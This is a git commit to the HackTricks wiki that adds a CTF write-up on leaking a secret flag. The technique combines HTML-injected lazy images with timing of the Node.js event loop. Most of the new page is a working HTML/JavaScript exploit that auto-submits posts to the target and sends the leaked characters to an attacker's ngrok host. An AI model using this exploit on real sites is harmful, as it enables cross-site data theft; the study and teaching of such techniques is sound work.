GitBook: [#3600] No subject

This commit is contained in:
CPol 2022-10-12 19:31:39 +00:00 committed by gitbook-bot
parent b60f2f1c20
commit 29ae0b070c
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
3 changed files with 176 additions and 0 deletions

View File

@ -562,6 +562,7 @@
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
* [Connection Pool Example](pentesting-web/xs-search/connection-pool-example.md)
* [Event Loop Blocking + Lazy images](pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md)
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)

View File

@ -229,6 +229,10 @@ Because **only one request payment can be active** at the same time, if the targ
* **Summary:** Measure execution time of a web abusing the single-threaded JS event loop.
* **Code Example**:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}
JavaScripts concurrency model is based on a [single-threaded event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) which means **it can only run one task at a time**.\
Inferring **how long code from a different origin takes to run** by measuring how long it t**akes to run next in the event pool**. The attacker keeps sending events to the event loop with fixed properties, which will eventually be dispatched if the pool is empty. Other origins dispatch events to the same pool, and this is where an **attacker infers the time difference by detecting if a delay occurred with one of its tasks**.
@ -853,6 +857,12 @@ What this text will do is to make the bot access any text in the page that conta
Some code example to exploit this: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
Find **another example using lazy loading** here:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}
### ReDoS
{% content-ref url="regular-expression-denial-of-service-redos.md" %}

View File

@ -0,0 +1,165 @@
# Event Loop Blocking + Lazy images
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
In [**this exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) mixes the **lazy image side channel** technique through a HTML injection with kind of **event loop blocking technique** to leak chars.
This is a **different exploit for the CTF chall** that was already commented in the following page. take a look for more info about the challenge:
{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
The idea behind this exploit is:
* The posts are loaded alphabetically
* An **attacker** can **inject** a **post** starting with **"A"**, then some **HTML tag** (like a big **`<canvas`**) will fulfil most of the **screen** and some final **`<img lazy` tags** to load things.
* If instead of an "A" the **attacker injects the same post but starting with a "z".** The **post** with the **flag** will appear **first**, then the **injected** **post** will appear with the initial "z" and the **big** **canvas**. Because the post with the flag appeared first, the first canvas will occupy all the screen and the final **`<img lazy`** tags injected **won't be seen** in the screen, so they **won't be loaded**.
* Then, **while** the bot is **accessing** the page, the **attacker** will **send fetch requests**.&#x20;
* If the **images** injected in the post are being **loaded**, these **fetch** requests will take **longer**, so the attacker knows that the **post is before the flag** (alphabetically).
* If the the **fetch** requests are **fast**, it means that the **post** is **alphabetically** **after** the flag.
Let's check the code:
```html
<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>
<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'
const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
// I have omited code here as apparently it wasn't necesary
// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}
}, 0)
async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()
setTimeout(() => {
run(str, resolve)
}, 500)
})
}
async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}
let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)
/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}
// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
</body>
</html>
```
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>